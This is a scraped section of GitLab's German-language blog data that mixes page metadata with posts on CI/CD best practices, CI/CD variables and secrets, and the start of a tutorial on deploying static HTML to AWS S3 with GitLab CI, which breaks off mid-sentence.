Tools durchgeführt.\n\n**Behalte den Überblick:** Probleme und Merge-Anfragen können leicht außer Kontrolle geraten. Wenn möglich, nutze Meilensteine, um den Überblick zu behalten. Bonus: Meilensteine können auch bei der Planung von Agile-Sprints und -Releases hilfreich sein.\n\n**Automatisiere Bereitstellungen:** Setze auf Automatisierung beim User Acceptance Testing und in der Staging-Phase.\n\n**Release-Pipeline optimieren:** Automatisierung ist der Schlüssel zur effizienten Verwaltung der Release-Pipeline.\n\n**Überwachung einrichten:** Eine effektive Überwachung des Produktionsprozesses spart Zeit und Geld und liefert zudem wertvolle Daten für geschäftliche Entscheidungen.\n\n**Führe Continuous Deployment ein:** Sobald Continuous Delivery stabil läuft, führe ein „hands-free“-Deployment ein, das es ermöglicht, Änderungen automatisch in die Produktion zu überführen.\n\n## Optimierung der CI/CD-Pipeline\nEine CI/CD-Pipeline stellt die Abfolge von Schritten dar, die erforderlich sind, um eine neue Softwareversion bereitzustellen. Durch Überwachung und Automatisierung können diese Prozesse erheblich verbessert werden, insbesondere in den Phasen der Integration, des Testens, der Bereitstellung und des Deployments.\n\n**Die wesentlichen Bestandteile einer CI/CD-Pipeline umfassen:**\n\n**1. Planung**\n**2. Analyse**\n**3. Design**\n**4. Build**\n**5. Test**\n**6. Release**\n**7. Deployment**\n**8. Validierung**\n**9. Compliance**\n**10. Wartung**\n\nObwohl diese Schritte manuell durchgeführt werden können, entfaltet die CI/CD-Pipeline ihren vollen Nutzen erst durch Automatisierung.\n\n**Zur Verbesserung der CI/CD-Pipeline bieten sich folgende Maßnahmen an:**\n\n**Release-Strategie variieren:** Ein Canary-Release (oder [Canary Deployment](https://docs.gitlab.com/user/project/canary_deployments/)) könnte in Betracht gezogen werden. Dabei werden neue Funktionen zunächst nur einer ausgewählten Gruppe von Nutzern zur Verfügung gestellt.\n\n**Automatisierung ausweiten:** Erhöhe die Anzahl der automatisierten Tests – davon kann es nie genug geben.\n\n**Tools rationalisieren:** Weniger Tools führen zu weniger Übergaben und vereinfachten Abläufen. Eine integrierte [DevOps-Plattform](/de-de/solutions/devops-platform/), die CI/CD umfasst, kann hier besonders vorteilhaft sein.\n\n**Regelmäßige Softwarekompositionsanalysen:** Führe kontinuierlich Analysen der Softwarezusammensetzung durch, um sicherzustellen, dass das DevOps-Team kritische Probleme mit Open-Source-Software frühzeitig erkennt und verfolgt.\n\n## CI/CD: Metriken zur Erfolgsmessung\nUm zu erkennen, wie effektiv CI/CD-Praktiken sind, ist eine kontinuierliche Messung notwendig. Metriken sind entscheidend, um die Systemleistung zu verbessern und den Mehrwert zu identifizieren. Sie dienen auch als Basis zur Beurteilung der Auswirkungen von Optimierungen.\n\n### Zykluszeit\nDie Zykluszeit misst die Dauer vom Beginn der Arbeit am Code bis zur Bereitstellung einer funktionalen Anwendung. Durch die Messung der verschiedenen Entwicklungsphasen erhältst du wertvolle Einblicke in die gesamte Entwicklungsdauer und erkennst mögliche Engpässe im Prozess. \n\n### Time to Value\n„Time to Value“ beschreibt, wie lange es dauert, bis geschriebener Code veröffentlicht wird. Idealerweise sollten Integration, Testen, Lieferung und Deployment innerhalb von Minuten bis wenigen Stunden abgeschlossen sein. Dauert der Durchlauf durch die CI/CD-Pipeline Tage, ist eine Optimierung erforderlich, um den Wert zu realisieren.\n\n### Uptime\nUptime ist ein Maß für die Stabilität und Zuverlässigkeit des Systems und dafür, ob alles so funktioniert, wie es sollte. Sie ist eine der wichtigsten Aufgaben des Ops-Teams. Wenn die CI/CD-Strategie automatisiert ist, können die Ops-Leiter mehr Zeit auf die Systemstabilität und weniger Zeit auf Workflow-Probleme verwenden.\n\n### Fehlerquoten\nDie Fehlerquote bei Anwendungen ist eine alltägliche Erscheinung im Entwicklungsprozess. Ihre Verfolgung ist sehr wichtig, denn die Fehlerquoten können nicht nur auf Qualitätsprobleme hinweisen, sondern auch auf laufende Probleme mit der Leistung und der Uptime. Wenn die Uptime und die Fehlerquoten hoch erscheinen, kann dies ein Hinweis auf eine gängige CI/CD-Problematik zwischen Dev- und Ops-Teams sein. Betriebsziele sind ein wichtiger Indikator für den Prozesserfolg.\n\n### Infrastrukturkosten\nDie Infrastrukturkosten sind besonders bei Cloud-nativer Entwicklung entscheidend. Die Verwaltung einer CI/CD-Plattform kann teuer werden, wenn die Kosten nicht kontrolliert werden. Cloud-Anbieter berücksichtigen bei der Preisgestaltung die Ausgaben für Netzwerkausrüstung, Infrastrukturwartung und Personal.\n\n### Teambindung\nEntwickler(innen) und Mitarbeiter(innen) bleiben tendenziell länger im Unternehmen, wenn sie sich wertgeschätzt und zufrieden fühlen. Gute Zusammenarbeit und effektive Kommunikation innerhalb der Teams fördern die Teambindung. Andererseits kann eine niedrige Bindungsrate auf Unzufriedenheit hinweisen, was eine Analyse der internen Abläufe notwendig macht.\n\n## Vorteile der Einhaltung von CI/CD Best Practices\nWenn Best Practices befolgt werden, sind die Vorteile von CI/CD in der gesamten Organisation spürbar: Von HR bis zu den Betriebsabteilungen arbeiten die Teams besser und erreichen ihre Ziele. Die Etablierung von Metriken zur Bewertung der CI/CD-Performance kann über die Bereitstellung von Einblicken in die Entwicklung hinausgehen und sich auf viele Aspekte des Unternehmens auswirken.\n\nEine gut funktionierende CI/CD-Pipeline kann für DevOps-Teams ein entscheidender Faktor sein. \n\n**Dies sind einige der größten Vorteile einer guten CI/CD-Pipeline:**\n\n***Entwickler(innen) reparieren nichts, sie schreiben Code.*** Weniger Tools und Toolchains bedeuten weniger Zeitaufwand für Wartung und mehr Zeit, tatsächlich hochwertige Softwareanwendungen zu produzieren.\n\n***Code ist in Produktion.*** Anstatt in einer Warteschlange zu sitzen, gelangt der Code tatsächlich in die reale Welt. Dies führt auch zu glücklicheren Entwicklern.\n\n***Entwickler(innen) haben die Kapazität, sich auf die Lösung von Geschäftsproblemen zu konzentrieren.*** Ein optimierter CI/CD-Prozess gibt Entwickler(innen) Zeit, sich auf das Wesentliche zu konzentrieren und nicht auf die Ablenkungen durch fehlerhaften Code, verpasste Übergaben, Produktionsprobleme und mehr.\n\n***Innovation macht alles einfacher.*** In einer wettbewerbsorientierten Welt benötigen Unternehmen alle verfügbaren Tools, um sich zu behaupten. Ein gut aufgebauter CI/CD-Prozess erleichtert, beschleunigt und sichert die Softwareentwicklung, was bedeutet, dass DevOps-Teams die Zeit und Energie haben, außerhalb des Rahmens zu denken.\n\n***Talente kommen und bleiben.*** Der Arbeitsmarkt ist sehr wettbewerbsintensiv, und DevOps-Talente sind schwer zu beeindrucken. Nichts sagt „Wir nehmen unser DevOps-Team ernst“ mehr, als eine Organisation, die in die Technologie und Prozesse rund um CI/CD investiert.\n\n***Jeder und jede macht das, was er oder sie am besten kann.*** Dev, Ops, Sec und Test haben jeweils eine wichtige Rolle zu spielen und CI/CD hilft, die Verantwortlichkeiten klar zu definieren.\n\n## CI/CD-Deployment-Strategie\nDenke daran, dass es bei CI/CD darum geht, Kund(innen) eine Softwareanwendung schneller und in besserer Qualität zu liefern als zuvor. Unternehmen, die CI/CD einführen, erleben oft eine erhebliche Steigerung ihrer Produktivität. Der Schlüssel zum Erfolg liegt darin, eine Bereitstellungsstrategie zu entwickeln, die auf die spezifischen Bedürfnisse des Unternehmens zugeschnitten ist.\n\n**Hier sind einige Strategien, die zu einer erfolgreichen CI/CD-Implementierung beitragen:**\n\n**Häufige Releases festlegen:** Plane regelmäßige und häufige Veröffentlichungen, um die Vorteile von CI/CD voll auszuschöpfen.\n\n**Build-Prozess automatisieren:** Setze auf Automatisierung im Build-Prozess, um Konsistenz und Effizienz zu gewährleisten.\n\n**Tests parallel durchführen:** Führe Tests parallel aus und erstelle eine effiziente Bereitstellungspipeline.\n\n**Schnelles Scheitern und „Shift Left“-Mentalität:** Fördere eine Kultur des schnellen Scheiterns und verschiebe Tests und Qualitätskontrollen frühzeitig in den Entwicklungsprozess. Dies gibt den Entwickler(innen) die Tools und Fähigkeiten, um schneller und sicherer zu arbeiten.\n\n**Schnelles Feedback durch CI-Tools:** Verwende CI-Tools, die schnelles Feedback liefern, um Entwicklungszyklen zu verkürzen und die Qualität zu verbessern.\n\nDiese Strategien helfen dabei, die Vorteile von CI/CD voll auszuschöpfen und die Effizienz sowie die Qualität der Softwareentwicklung zu steigern.\n\n## Wie kann ich CI/CD in meiner Organisation implementieren?\nBevor eine Software implementiert wird, ist es entscheidend, die Unternehmensziele klar zu definieren. Dies gilt ebenso für die Einführung von CI/CD. Alle Beteiligten in der Entwicklung sollten frühzeitig in den Implementierungsprozess eingebunden werden. Entwickler(innen) sollten besonders berücksichtigt werden, da sie die Hauptnutzer(innen) der neuen Tools und Prozesse sein werden.\n\nFühre gründliche Recherchen durch, wenn du Software bewertest, die CI/CD unterstützt, und frage nach kostenlosen Testversionen, um deren Eignung zu prüfen.\n\nObwohl CI/CD darauf abzielt, die Softwarebereitstellung durch Automatisierung zu beschleunigen, ist es ratsam, den Implementierungsprozess mit einer „Langsam und stetig“-Einstellung zu beginnen. Eine langsame, sorgfältige Einführung hilft, Fehler in der fertigen Anwendung zu minimieren und die langfristige Effizienz zu sichern.\n\nKonsistenz im Integrationsprozess ist entscheidend. Führe regelmäßige Unit-Tests durch, löse Releases zunächst manuell aus und verfolge relevante Metriken. Bestimme dann, welche Prozesse automatisiert werden können und sollten, um die Effizienz weiter zu steigern.\n\n[Mit GitLab findest du jetzt die richtige Lösung, um die CI/CD Best Practices richtig umzusetzen.](/de-de/solutions/github/)",[1534,1535,2033],{"slug":3667,"featured":6,"template":682},"how-to-keep-up-with-ci-cd-best-practices","content:de-de:blog:how-to-keep-up-with-ci-cd-best-practices.yml","How To Keep Up With Ci Cd Best Practices","de-de/blog/how-to-keep-up-with-ci-cd-best-practices.yml","de-de/blog/how-to-keep-up-with-ci-cd-best-practices",{"_path":3673,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3674,"content":3680,"config":3687,"_id":3689,"_type":16,"title":3690,"_source":17,"_file":3691,"_stem":3692,"_extension":20},"/de-de/blog/demystifying-ci-cd-variables",{"ogTitle":3675,"schema":3676,"ogImage":3677,"ogDescription":3678,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3679,"title":3675,"canonicalUrls":3679,"description":3678},"GitLab Umgebungsvariablen einfach erklärt ","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab-Umgebungsvariablen entmystifiziert\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2021-04-09\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664679/Blog/Hero%20Images/blog-image-template-1800x945__24_.png","Wir zeigen dir, was sich hinter Umgebungsvariablen bei GitLab verbirgt. ✓ Definition ✓ Funktionsweise ✓ Typen ✓ Anwendung ➤ Jetzt Leitfaden lesen!","https://about.gitlab.com/blog/demystifying-ci-cd-variables",{"heroImage":3677,"body":3681,"authors":3682,"updatedDate":2218,"date":3684,"title":3675,"tags":3685,"description":3686,"category":847},"Es gibt viel Flexibilität bei der Definition und Verwendung von Variablen\nfür [CI/CD](https://about.gitlab.com/de-de/topics/ci-cd/). Variablen sind\nsehr nützlich für die Steuerung von Jobs und Pipelines und sie helfen dir zu\nvermeiden, Werte in der Konfigurationsdatei `.gitlab-ci.yml` festlegen zu\nmüssen. Dieser Blogbeitrag soll ein umfassenderes Bild vermitteln, indem er\nalle (oder die meisten) Informationen über die Definition und die Handhabung\nder Variablen zusammenfasst, um das Verständnis des Geltungsbereichs und der\nMöglichkeiten zu erleichtern. Die relevante Dokumentation in dem Beitrag\nverlinkt und ist aktuell nur in englischer Sprache verfügbar.\n\n\nIn [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) können mit Variablen Werte definiert und gespeichert werden, um Jobs anzupassen. Bei der Verwendung von Variablen müssen Werte nicht im Klartext gespeichert werden. In GitLab können CI/CD-Variablen unter **Einstellungen >> CI/CD >> Variablen** oder einfach in der Datei `.gitlab-ci.yml` definiert werden.\n\n\nVariablen sind nützlich, um Dienste von Drittanbietern für verschiedene Bereitstellungsumgebungen zu konfigurieren, z. B. `testing`, `staging`, `production` usw. Passe an, welche Dienste mit diesen Umgebungen verknüpft sind, indem du einfach die Variable änderst, die auf den API-Endpunkt zeigt, den die Dienste verwenden sollen. Verwende auch Variablen, um Jobs zu konfigurieren, und stelle sie dann als Umgebungsvariablen innerhalb der Jobs zur Verfügung, wenn diese ausgeführt werde.\n\n\n![GitLab liest die Datei .gitlab-ci.yml, um die referenzierte Variable zu scannen und sendet die Informationen an den GitLab Runner. Die Variablen werden auf dem Runner angezeigt und vom Runner ausgegeben.](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variables_processing.jpeg)\n\n\n## Die Beziehung zwischen Variablen und Umgebungen\n\n\nDer Prozess der Softwareentwicklung umfasst verschiedene Phasen, in denen ein Produkt getestet wird, bevor es an die Benutzer(innen) ausgeliefert wird. Zur Definition dieser Phasen werden [Umgebungen](https://docs.gitlab.com/ee/ci/environments/) verwendet, die von Team zu Team und zwischen Unternehmen unterschiedlich sein können.\n\n\nVariablen sind dagegen Datenwerte, die sich durch die Interaktion der Benutzer(innen) mit dem Produkt ändern können. Beispielsweise kann ihr Alter, ihre Vorlieben oder eine beliebige andere Eingabe den nächsten Schritt in der Aufgabenfolge des Produkts bestimmen.\n\n\nWir hören oft den Begriff [Umgebungsvariable](https://docs.gitlab.com/ee/administration/environment_variables.html). Dabei handelt es sich um Variablen, die in einer bestimmten Umgebung, aber außerhalb der Anwendung definiert sind. CI/CD-Variablen von GitLab bieten Entwickler(inne)n die Möglichkeit, Werte in ihrem Code zu konfigurieren. Variablen sind hilfreich, da sie sicherstellen, dass der Code flexibel ist. Mit CI/CD-Variablen von GitLab können Beutzer(innen) eine in einer bestimmten Umgebung bereitgestellte Anwendung ändern, ohne den Code zu ändern. Es ist einfach, Tests durchzuführen oder sogar Dienste von Drittanbietern zu integrieren, indem eine Umgebungsvariable außerhalb der Anwendung geändert wird.\n\n\n## Geltungsbereich der Variablen für CI/CD\n\n\n![Hierarchie für CI/CD-Variablen: 1) Variablen für die manuelle Ausführung, Auslösung und Planung von Pipelines, 2) Geschützte Variablen auf Projekt-, Gruppen- und Instanzebene, 3) Geerbte CI/CD-Variablen, 4) Job-Ebene, globale yml-definierte Variablen, 5) Bereitstellungsvariablen, 6) Vordefinierte CI/CD-Variablen](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variables_precedence.jpeg)\n\n\n### `.gitlab-ci.yml`-definierte Variablen\n\n\nVariablen, die in der Arbeitsumgebung verfügbar sein müssen, können zu GitLab hinzugefügt werden. Diese CI/CD-Variablen sind dazu gedacht, nicht-sensible Projektkonfigurationen wie z. B. die URL der Datenbank in der Datei `.gitlab-ci.yml` zu speichern. Verwende diese Variable in mehreren Jobs oder Skripten, wo immer der Wert benötigt wird. Wenn sich der Wert ändert, musst du die Variable nur einmal aktualisieren und die Änderung wird überall dort übernommen, wo die Variable verwendet wird.\n\n\n### Projekt-CI/CD-Variablen\n\n\nEinen Schritt über die Repository-spezifischen Anforderungen hinaus kannst du CI/CD-Variablen in den [Projekt-Einstellungen](https://docs.gitlab.com/ee/ci/variables/#for-a-project) definieren und für CI/CD-Pipelines verfügbar machen. Diese werden aus dem Repository heraus gespeichert (nicht in der Datei `.gitlab-ci.yml`), sind aber weiterhin in der CI/CD-Konfiguration und den Skripten verfügbar. Durch das Speichern der Variablen außerhalb der Datei `.gitlab-ci.yml` werden diese Werte auf einen reinen Projektgeltungsbereich beschränkt und nicht als Klartext im Projekt gespeichert.\n\n\n### CI/CD-Variablen für Gruppen und Instanzen\n\n\nEinige Variablen sind auf Gruppen- oder sogar Instanzebene relevant und können für alle Projekte in einer Gruppe oder Instanz nützlich sein. Definiere die Variablen in den [Gruppen- oder Instanzeinstellungen](https://docs.gitlab.com/ee/ci/variables/#for-a-group), sodass alle Projekte innerhalb dieser Bereiche die Variablen verwenden können, ohne den Wert zu kennen oder die Variablen für den untergeordneten Bereich erstellen zu müssen. Zum Beispiel kann ein gemeinsamer Wert, der in mehreren Projekten aktualisiert werden muss, leicht verwaltet werden, wenn er an einer einzigen Stelle aktualisiert wird. Alternativ können mehrere Projekte ein bestimmtes Passwort verwenden, ohne den Wert des Passworts selbst kennen zu müssen.\n\n\n## Jobs und Pipelines als Umgebungen\n\n\nDie CI/CD-Variablen von GitLab werden nicht nur als Umgebungsvariablen verwendet, sondern auch in der Konfigurationsdatei `.gitlab-ci.yml`, um das Verhalten der Pipeline unabhängig von der Umgebung zu konfigurieren. Die Variablen können in den Projekt-/Gruppen-/Instanzeinstellungen gespeichert und Jobs in Pipelines zur Verfügung gestellt werden.\n\n\nZum Beispiel:\n\n\n```  \n\njob:  \n  rules:  \n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH  \n  script:  \n  - echo \"This job ran on the $CI_COMMIT_BRANCH branch.\"  \n```\n\n\nDie Variable `($CI_COMMIT_BRANCH)` im Skriptabschnitt wird in dem Bereich des Jobs ausgeführt, in dem sie definiert wurde. Dieser Bereich ist die „Job-Umgebung“ – das heißt, wenn der Job gestartet wird, startet der GitLab-Runner einen Docker-Container und führt den Job in dieser Umgebung aus. Der Runner stellt diese Variable (und alle anderen vordefinierten oder benutzerdefinierten Variablen) dem Job zur Verfügung und kann ihren Wert bei Bedarf in der Protokollausgabe anzeigen.\n\n\nDie Variable wird jedoch **auch** im Abschnitt `if:` verwendet, um zu bestimmen, wann der Job ausgeführt werden soll. Dies ist an sich keine Umgebung, weshalb wir diese CI/CD-Variablen aufrufen. Sie können verwendet werden, um CI/CD-Jobs dynamisch zu konfigurieren, **sowie** als Umgebungsvariablen, wenn der Job ausgeführt wird.\n\n\n## Vordefinierte Variablen\n\n\nEine Reihe von Variablen werden [vordefiniert](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html), wenn eine GitLab-CI/CD-Pipeline gestartet wird. Benutzer(innen) können sofort auf Werte für Commit-, Projekt- oder Pipeline-Details zugreifen, ohne die Variablen selbst definieren zu müssen.\n\n\n## Benutzerdefinierte CI/CD-Variablen\n\n\n![Runner können zwei Arten von benutzerdefinierten CI/CD-Variablen erstellen: Typ und Datei.](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variable_types.jpeg)\n\n\nWenn eine CI/CD-Variable in den Einstellungen erstellt wird, gibt GitLab den Benutzer(innen) mehr Konfigurationsmöglichkeiten für die Variable. Verwende diese zusätzlichen Konfigurationsoptionen für eine strengere Kontrolle sensibler Variablen:\n\n\n**Geltungsbereich: Umgebung:** Wenn eine Variable nur in einer bestimmten Umgebung verwendet werden soll, konfiguriere sie so, dass sie nur in dieser Umgebung verfügbar ist. Du kannst beispielsweise festlegen, dass ein Bereitstellungstoken nur in der Umgebung `production` verfügbar ist.\n\n\n**Geschützte Variablen:** Ähnlich wie bei der Option „Geltungsbereich: Umgebung“ kann eine Variable so konfiguriert werden, dass sie nur verfügbar ist, wenn die Pipeline in einem geschützten Branch ausgeführt wird, z. B. in deinem Standard-Branch.\n\n\n**Variablentyp:** Für einige Anwendungen musst du die Konfiguration in Form einer Datei übergeben. Wenn du eine Anwendung hast, die diese Konfiguration erfordert, lege den Variablentyp einfach auf „Datei“ fest. Wenn die CI/CD-Variable auf diese Weise konfiguriert wird, schreibt der Runner die Variable in eine temporäre Datei und speichert den Pfad zu dieser Datei als Wert, wenn er sie in der Umgebung verfügbar macht. Als Nächstes können die Benutzer(innen) den Pfad zu der Datei an alle Anwendungen weitergeben, die sie benötigen.\n\n\nZusätzlich zu den genannten Methoden zur Definition und Verwendung von Variablen hat GitLab eine Funktion eingeführt, die vorgefertigte Variablen generiert, wenn eine Pipeline manuell ausgeführt werden muss. Vorgefertigte Variablen reduzieren die Fehlerwahrscheinlichkeit und erleichtern die Bedienung der Pipeline.\n\n\n**Maskierte Variablen:** [Maskierte Variablen](https://docs.gitlab.com/ee/ci/variables/#mask-a-cicd-variable) sind CI-Variablen, die in Job-Protokollen **maskiert** wurden, um zu verhindern, dass der Wert der Variablen angezeigt wird. \n\n\n**Maskierte und versteckte Variablen:** Die in [GitLab 17.4](https://about.gitlab.com/releases/2024/09/19/gitlab-17-4-released/#hide-cicd-variable-values-in-the-ui) eingeführten [maskierten und versteckten Variablen](https://docs.gitlab.com/ee/ci/variables/#hide-a-cicd-variable) bieten die gleiche Maskierungsfunktion für Job-Protokolle und **verstecken den Wert** **in der Einstellungsoberfläche**. Wir empfehlen, keine dieser Variablen für sensible Daten (z. B. Geheimnisse) zu verwenden, da diese versehentlich offengelegt werden könnten.\n\n\n## Geheimnisse\n\n\nGeheimnisse sind sensible Zugangsdaten, die vertraulich behandelt werden sollten. Beispiele für Geheimnisse sind\n\n\n* Passwörter  \n\n* SSH-Schlüssel  \n\n* Zugriffstoken  \n\n* Alle anderen Arten von Zugangsdaten, deren Offenlegung für ein Unternehmen schädlich wäre.\n\n\nGitLab ermöglicht es seinen Benutzer(innen) derzeit mit Hilfe von HashiCorp Vault, Google Cloud Secret Manager und Azure Key Vault, [externe Geheimnisse für CI zu verwenden](https://docs.gitlab.com/ee/ci/secrets/), um Schlüssel, Token und andere Geheimnisse auf Projektebene sicher zu verwalten. So können Benutzer(innen) diese Geheimnisse aus Sicherheitsgründen von anderen CI/CD-Variablen trennen.\n\n\n### GitLab Geheimnismanager\n\n\nNeben der Unterstützung für externe Geheimnisse in CI arbeitet GitLab auch an der Einführung einer [nativen Lösung zur Verwaltung von Geheimnissen](https://gitlab.com/groups/gitlab-org/-/epics/10108), um Geheimnisse sicher und bequem in GitLab zu speichern. Diese Lösung wird Kund(inn)en auch dabei helfen, gespeicherte Geheimnisse in GitLab-spezifischen Komponenten und Umgebungen zu verwenden und den Zugriff auf Namensraum-Gruppen und Projektebene einfach zu verwalten. \n\n\n## Mehr lesen\n\n* [Nativer GitLab Geheimnismanager für mehr Sicherheit in der Software-Lieferkette](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost/) (nur in englischer Sprache verfügbar)\n\n\n***Haftungsausschlussklausel:** Dieser Blog enthält Informationen über kommende Produkte, Funktionen oder Funktionalitäten. Bitte beachte, dass die Informationen in diesem Blogbeitrag nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die in diesem Blog und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab.*\n",[3683],"Veethika Mishra","2021-04-09",[1535,745,1117,1534,110,767],"CI/CD-Variablen sind nützliche (und flexible) Tools zur Steuerung von Jobs und Pipelines. Wir verraten dir alles, was du über GitLab-Umgebungsvariablen wissen musst.",{"slug":3688,"featured":6,"template":682},"demystifying-ci-cd-variables","content:de-de:blog:demystifying-ci-cd-variables.yml","Demystifying Ci Cd Variables","de-de/blog/demystifying-ci-cd-variables.yml","de-de/blog/demystifying-ci-cd-variables",{"_path":3694,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3695,"content":3701,"config":3707,"_id":3709,"_type":16,"title":3710,"_source":17,"_file":3711,"_stem":3712,"_extension":20},"/de-de/blog/ci-deployment-and-environments",{"title":3696,"description":3697,"ogTitle":3696,"ogDescription":3697,"noIndex":6,"ogImage":3698,"ogUrl":3699,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3699,"schema":3700},"Deployment mit GitLab CI an verschiedene Umgebungen: So funktioniert es","Erfahre, wie du GitLab CI für automatische Deployments in mehrere Umgebungen einrichtest, inklusive AWS S3-Integration und sicherer Variablenverwaltung.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662033/Blog/Hero%20Images/intro.jpg","https://about.gitlab.com/blog/ci-deployment-and-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Deployment mit GitLab CI an verschiedene Umgebungen: So funktioniert es\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivan Nemytchenko\"},{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-02-05\",\n      }",{"title":3696,"description":3697,"authors":3702,"heroImage":3698,"date":3704,"body":3705,"category":847,"tags":3706,"updatedDate":3542},[3703,888],"Ivan Nemytchenko","2021-02-05","In diesem ausführlichen Artikel wollen wir dir zeigen, wie du GitLab CI für eine automatisierte Kompilierung und Bereitstellung nutzen kannst. Als Ausgangspunkt haben wir das folgende Szenario gewählt: Du bist der (die) glückliche Besitzer(in), Redakteur(in) und alleinige Entwickler(in) eines imaginären Nachrichtenportals. \n\nDa du deinen Projekt-Code bereits auf GitLab.com hostest, ist dir bewusst, dass du mit GitLab [CI/CD-Tests](https://docs.gitlab.com/ee/ci/testing/) durchführen kannst. Jetzt aber möchtest du wissen, ob das Tool auch für deine [Bereitstellung](/de-de/blog/how-to-keep-up-with-ci-cd-best-practices/) verwendet werden kann - und was für Optionen dir dafür zur Verfügung stehen.\n\nUm nicht von den Details spezifischer Tech-Stacks abgelenkt zu werden, gehen wir in unserem Beispiel davon aus, dass die App nur aus HTML-Dateien besteht. Es gibt keinen serverseitigen Code, keine komplizierte Kompilierung der JavaScript-Assets.\n\nAls Zielplattform wählen wir [Amazon S3](https://aws.amazon.com/s3/) - ebenfalls eine einfache Lösung.\n\n> **Achtung:** Ziel des Artikels ist es nicht, dir möglichst viele kleinteilige Bausteine zu bieten, die du dann mit Kopieren und Einfügen in deinen Code integrierst. Vielmehr möchten wir dir die Prinzipien und Funktionalitäten von [GitLab CI](/de-de/solutions/continuous-integration/) vermitteln, so dass du sie einfacher auf deinen Tech-Stack anwenden kannst.\n\n## Inhaltsverzeichnis\n- [Der Anfang der Geschichte](#der-anfang-der-geschichte)\n- [Die erste automatisierte Bereitstellung](#die-erste-automatisierte-bereitstellung)\n  - [Wie man Geheimes geheim hält](#wie-man-geheimes-geheim-hält)\n  - [Wie du nicht geheime Variablen spezifizierst und nutzt](#wie-du-nicht-geheime-variablen-spezifizierst-und-nutzt)\n- [Wie Teams GitLab CI für die Bereitstellung nutzen können](#wie-teams-gitlab-ci-für-die-bereitstellung-nutzen-können)\n  - [Wie du einen separaten Ort für das Testen von Code einrichtest](#wie-du-einen-separaten-ort-für-das-testen-von-code-einrichtest)\n- [Einführung: Umgebungen (environments)](#einführung-umgebungen-environments)\n- [Fehlerbehebung bei der Bereitstellung](#fehlerbehebung-bei-der-bereitstellung)\n- [Slack-Benachrichtigungen für Bereitstellungen](#slack-benachrichtigungen-für-bereitstellungen)\n- [Skalierbarkeit von Teamarbeit](#skalierbarkeit-von-teamarbeit)\n  - [Wie du mit Notfällen umgehst](#wie-du-mit-notfällen-umgehst)\n  - [Es wird Zeit, Review Apps zu verwenden](#es-wird-zeit-review-apps-zu-verwenden)\n  - [Bereitstellung auf verschiedenen Plattformen](#bereitstellung-auf-verschiedenen-plattformen)\n- [Fünf Kernpunkte](#fünf-kernpunkte)\n\nLass uns ganz am Anfang beginnen. Da, wo es noch keine kontinuierliche Integration (continuous integration, CI) gibt.\n\n## Der Anfang der Geschichte\n\n**Deployment**: Was verstehen wir unter dem Begriff „Bereitstellung\"? In unserem Fall möchten wir, dass eine große Zahl an HTML-Dateien in deinem S3-Bucket - der bereits für statisches Webseiten-[Hosting](http://docs.aws.amazon.com/AmazonS3/latest/dev/HowDoIWebsiteConfiguration.html?shortFooter=true) konfiguriert wurde - erscheint.\n\nHier führen unzählige Wege nach Rom. In unserem Beispiel werden wir die [awscli](http://docs.aws.amazon.com/cli/latest/reference/s3/cp.html#examples)-Bibliothek von Amazon selbst verwenden.\n\nSo sieht der vollständige Befehl aus:\n\n```shell\naws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\n![Manual deployment](https://about.gitlab.com/images/blogimages/ci-deployment-and-environments/13.jpg){: .center}\nDie Übertragung des Code mittels Push-Befehl in ein Repository und die eigentliche Bereitstellung sind zwei voneinander unabhängige Prozesse.\n{: .note .text-center}\n\nWichtiges Detail: Der [Befehl](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#config-settings-and-precedence) erwartet von dir, dass du `AWS_ACCESS_KEY_ID` und `AWS_SECRET_ACCESS_KEY` Umgebungs-Variablen bereitstellst. Das bedeutet, dass du gegebenenfalls die `AWS_DEFAULT_REGION` festlegen musst.\n\n{: .alert .alert-info}\n\nLass uns nun versuchen, diesen Prozess mit [GitLab CI](/de-de/solutions/continuous-integration/) zu automatisieren.\n\n## Die erste automatisierte Bereitstellung\n\nMit GitLab macht es keinen Unterschied, welche Befehle du verwendest. Du kannst GitLab so einrichten, dass es genau auf deine persönlichen Bedürfnisse zugeschnitten ist und wie ein lokales Terminal auf deinem Rechner funktioniert. \n\nSolange du von dort aus die Befehle ausführst, kannst du CI damit beauftragen, dasselbe für dich in GitLab zu tun. Platziere dein Script einfach in *.gitlab-ci.yml*,pushe deinen Code –und siehe da: CI erzeugt einen Job und führt deine Befehle aus.\n\nUm unser Ausgangsszenario ein wenig auszuschmücken, fügen wir ihm nun ein wenig Kontext hinzu: Unsere Webseite ist klein, sie hat täglich 20-30 Besucher und das Code-Repository besitzt nur einen einzigen Standard-Branch: `main`.\n\nUnser Ziel: Das Einrichten einer automatisierten Bereitstellung.\n\nLass uns damit anfangen, dass wir den oben erwähnten Befehl verwenden, um in der *.gitlab-ci.yml*\\-Datei einen Job zu spezifizieren:\n\n```yaml\ndeploy:\n  script: aws s3 cp ./ s3://yourbucket/ --recursive --exclude \"*\" --include \"*.html\"\n```\n\nHat leider 